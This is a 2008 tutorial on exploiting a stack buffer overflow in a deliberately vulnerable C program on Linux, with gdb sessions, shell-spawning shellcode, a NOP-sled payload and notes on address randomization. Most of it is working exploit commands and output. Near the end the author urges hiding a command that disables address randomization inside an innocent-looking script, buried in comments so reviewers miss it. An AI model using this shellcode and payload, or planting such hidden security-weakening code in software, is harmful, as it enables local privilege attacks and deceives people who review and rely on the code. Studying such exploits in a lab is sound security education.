Exploiting Buffer overflows

Version 1

OS: Zenwalk 5.2
gcc: default with zenwalk(4.2.3)
By Kalgecin (kalgecin[at]gmail.com)

7 December 2008

~oO Disclaimer Oo~

I'm to assume that you know what buffer overflows are, as I'm not going to discuss it here.. for that read "Smashing the stack for fun and profit" by Aleph1.

This documentation is to provide the users with basic knowledge of buffer overflows under recent gcc version. I'm not responsible for any text that is printed in this tutorial as it is intended for educational purposes only!!

~oO Start Oo~

So to overflow this we need to disable a kernel protection first. For that we do:

```
kalgecin[hacking]$ cat /proc/sys/kernel/randomize_va_space
1
kalgecin[hacking]$ echo 0 > /proc/sys/kernel/randomize_va_space
kalgecin[hacking]$ cat /proc/sys/kernel/randomize_va_space
0
kalgecin[hacking]$
```

So now we have disabled the protection.
Here's a copy of our vulnerable program:

```
kalgecin[hacking]$ cat vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *string) {

  char buffer[1024];

  strcpy(buffer, string);

  return 1;
}

int main(int argc, char *argv[]) {

  bof(argv[1]);
  printf("Done..\n");

  return 1;
}
```

This vulnerable program accepts an input and processes it with **strcpy** which does not do any bounds checking, so if we put an argument with say 1040 characters our stack will get overflowed.
We will compile it.

```
kalgecin[hacking]$ gcc vuln.c -o vuln
kalgecin[hacking]$
```

Open a gdb

```
kalgecin[hacking]$ gdb ./vuln -q
(gdb) r `perl -e 'print "AAAA"x1040'`
Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print "AAAA"x1040'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
```

As we can see here 0x41414141 is the same as AAAA. Let us see the registers

```
(gdb) i r
eax            0x1      1
ecx            0xbfffe3b8       -1073749064
edx            0x1041   4161
ebx            0xb7fbcff4       -1208233996
esp            0xbfffe7c0       0xbfffe7c0
ebp            0x41414141       0x41414141
esi            0xb7ffece0       -1207964448
edi            0x0      0
eip            0x41414141       0x41414141
eflags         0x210282         [ SF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)
```

Pay attention to EIP. It points to our AAAA.
Now let's use a shell-code. This one has been generated by me and it spawns a shell:

```
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd
\x80
```

```
(gdb) r `perl -e 'print
"\x90"x1040,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2
f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x8
0"'`

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print

"\x90"x1040,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2
f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x8
0"'`
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb)
```

Now we are pointed to 90909090 which is our NOP sled. We add "AAAA" at the end of our exploit and adjust the number of nop's decreasing by 4 until we have 1414141 as our return address.
I got the value as: 993. So we now type:

```
(gdb) x/2000xb $esp
```

And we get a lot of stuff. Look for something like:

```
0xbffff650:    0x90   0x90   0x90   0x90   0x90   0x90   0x90   0x90
```

From here we get the address of our NOP sled as: bf ff f6 50. Turning this to lilendian we get \x50\xf6\xff\xbf and we replace that with our "AAAA" and we get something like this:

```
(gdb) r `perl -e 'print
"\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80","\x50\xf6\xff
\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print
"\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80","\x50\xf6\xff
\xbf"'`
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
```

```
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh-3.1$
```

BANG!! We got our shell.
We now disable the protection:

```
kalgecin[hacking]$ cat /proc/sys/kernel/randomize_va_space
0
kalgecin[hacking]$ echo 1 > /proc/sys/kernel/randomize_va_space
kalgecin[hacking]$ cat /proc/sys/kernel/randomize_va_space
1
kalgecin[hacking]$
```

And after repeating the exploit, we get...

```
(gdb) r `perl -e 'print
"\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80","\x50\xf6\xff
\xbf"'`
Starting program: /bin/bash `perl -e 'print
"\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80","\x50\xf6\xff
\xbf"'`
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
/bin/bash:
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
```

```
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□1À1Û1É1Ò°FÍ€Qh//shh/bin‰ãQS‰á
1À°
Í€Pöÿ¿: File name too long
Program exited with code 0176.
(gdb)
```

So we end here.

If you want to exploit local programs, then disable the protection (as root :) not much help here) But you can make a useful script or a program and inside it added a code to run "echo 0 > /proc/sys/kernel/randomize_va_space" in a hidden place or a place with a lot of comments and make a line to execute the above piece of code. Mostly the reviser will ignore the comments (especially the boring ones) and not see the code above.

Good luck out there!! ☺

~oO Conclusion Oo~

These exploits work as long as the va patch is disabled. To disable it you need root privileges. Next paper will focus on the va patch.

~oO The VA patch Oo~

The VA patch was applied in order for the buffer overflow to be much harder by randomizing where the starch of the program starts. Before the patch all programs started at the same address and so the return address was predictable from the stack information. Now the VA patch randomizes the location of the program in the stack making it virtually impossible.

~oO Hacking the VA patch Oo~

From here on I'm writing this as I'm experimenting and as my scratch pads so please sorry if I'll be not be clear

So let's try:

```
        (gdb) r `perl -e 'print
"\x90"x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x5
1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\
xcd\x80"'`
        The program being debugged has been started already.
        Start it from the beginning? (y or n) y

Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print
"\x90"x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x5
1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\
xcd\x80"'`

        Program received signal SIGSEGV, Segmentation fault.
        0x90909090 in ?? ()
        (gdb) x/3000xb $esp
        0xbfc75850:  0x80  0xda  0xea  0xbf  0x31  0xc0  0x31  0xdb
        0xbfc75858:  0x31  0xc9  0x31  0xd2  0xb0  0x46  0xcd  0x80
        0xbfc75860:  0x51  0x68  0x2f  0x2f  0x73  0x68  0x68  0x2f
        0xbfc75868:  0x62  0x69  0x6e  0x89  0xe3  0x51  0x53  0x89
        0xbfc75870:  0xe1  0x31  0xc0  0xb0  0x0b  0xcd  0x80  0x00
```

```
        0xbfc75878:  0xd8  0x58  0xc7  0xbf  0x90  0x33  0xf0  0xb7
        0xbfc75880:  0x02  0x00  0x00  0x00  0x04  0x59  0xc7  0xbf
        0xbfc75888:  0x10  0x59  0xc7  0xbf  0xd0  0x92  0x03  0xb8
        0xbfc75890:  0x00  0x00  0x00  0x00  0x01  0x00  0x00  0x00
        0xbfc75898:  0x00  0x00  0x00  0x00  0x09  0x82  0x04  0x08
        0xbfc758a0:  0xf4  0x4f  0x03  0xb8  0xe0  0x7c  0x07  0xb8
        0xbfc758a8:  0x00  0x00  0x00  0x00  0xd8  0x58  0xc7  0xbf
        0xbfc758b0:  0x81  0x00  0xb1  0x9a  0x91  0xaa  0x66  0xf4
        0xbfc758b8:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
        0xbfc758c0:  0x00  0x00  0x00  0x00  0xa0  0xf7  0x06  0xb8
        0xbfc758c8:  0xbd  0x32  0xf0  0xb7  0xf4  0x7f  0x07  0xb8
        0xbfc758d0:  0x02  0x00  0x00  0x00  0x00  0x83  0x04  0x08
        0xbfc758d8:  0x00  0x00  0x00  0x00  0x21  0x83  0x04  0x08
        0xbfc758e0:  0xa9  0x83  0x04  0x08  0x02  0x00  0x00  0x00
        0xbfc758e8:  0x04  0x59  0xc7  0xbf  0x00  0x84  0x04  0x08
        0xbfc758f0:  0xf0  0x83  0x04  0x08  0xd0  0xa0  0x06  0xb8
        0xbfc758f8:  0xfc  0x58  0xc7  0xbf  0x05  0x56  0x07  0xb8
        0xbfc75900:  0x02  0x00  0x00  0x00  0xff  0x75  0xc7  0xbf
        ---Type <return> to continue, or q <return> to quit---q
        Quit
        (gdb) r `perl -e 'print
"\x90"x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x5
1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\
xcd\x80"'`
        The program being debugged has been started already.
        Start it from the beginning? (y or n) y

Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print
"\x90"x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x5
1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\
xcd\x80"'`

        Program received signal SIGSEGV, Segmentation fault.
        0x90909090 in ?? ()
        (gdb) x/3000xb $esp
        0xbfff1bd0:  0x80  0xda  0xea  0xbf  0x31  0xc0  0x31  0xdb
        0xbfff1bd8:  0x31  0xc9  0x31  0xd2  0xb0  0x46  0xcd  0x80
        0xbfff1be0:  0x51  0x68  0x2f  0x2f  0x73  0x68  0x68  0x2f
        0xbfff1be8:  0x62  0x69  0x6e  0x89  0xe3  0x51  0x53  0x89
        0xbfff1bf0:  0xe1  0x31  0xc0  0xb0  0x0b  0xcd  0x80  0x00
        0xbfff1bf8:  0x58  0x1c  0xff  0xbf  0x90  0xf3  0xf7  0xb7
        0xbfff1c00:  0x02  0x00  0x00  0x00  0x84  0x1c  0xff  0xbf
        0xbfff1c08:  0x90  0x1c  0xff  0xbf  0xd0  0x52  0x0b  0xb8
        0xbfff1c10:  0x00  0x00  0x00  0x00  0x01  0x00  0x00  0x00
        0xbfff1c18:  0x00  0x00  0x00  0x00  0x09  0x82  0x04  0x08
        0xbfff1c20:  0xf4  0x0f  0x0b  0xb8  0xe0  0x3c  0x0f  0xb8
        0xbfff1c28:  0x00  0x00  0x00  0x00  0x58  0x1c  0xff  0xbf
        0xbfff1c30:  0x81  0x00  0x38  0xea  0x91  0xaa  0xe6  0xfb
        0xbfff1c38:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
        0xbfff1c40:  0x00  0x00  0x00  0x00  0xa0  0xb7  0x0e  0xb8
        0xbfff1c48:  0xbd  0xf2  0xf7  0xb7  0xf4  0x3f  0x0f  0xb8
        0xbfff1c50:  0x02  0x00  0x00  0x00  0x00  0x83  0x04  0x08
        0xbfff1c58:  0x00  0x00  0x00  0x00  0x21  0x83  0x04  0x08
```

```
0xbfff1c60:   0xa9   0x83   0x04   0x08   0x02   0x00   0x00   0x00
0xbfff1c68:   0x84   0x1c   0xff   0xbf   0x00   0x84   0x04   0x08
0xbfff1c70:   0xf0   0x83   0x04   0x08   0xd0   0x60   0x0e   0xb8
0xbfff1c78:   0x7c   0x1c   0xff   0xbf   0x05   0x16   0x0f   0xb8
0xbfff1c80:   0x02   0x00   0x00   0x00   0xff   0x35   0xff   0xbf
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)
```

So as you can see the stack address changes every time we run the program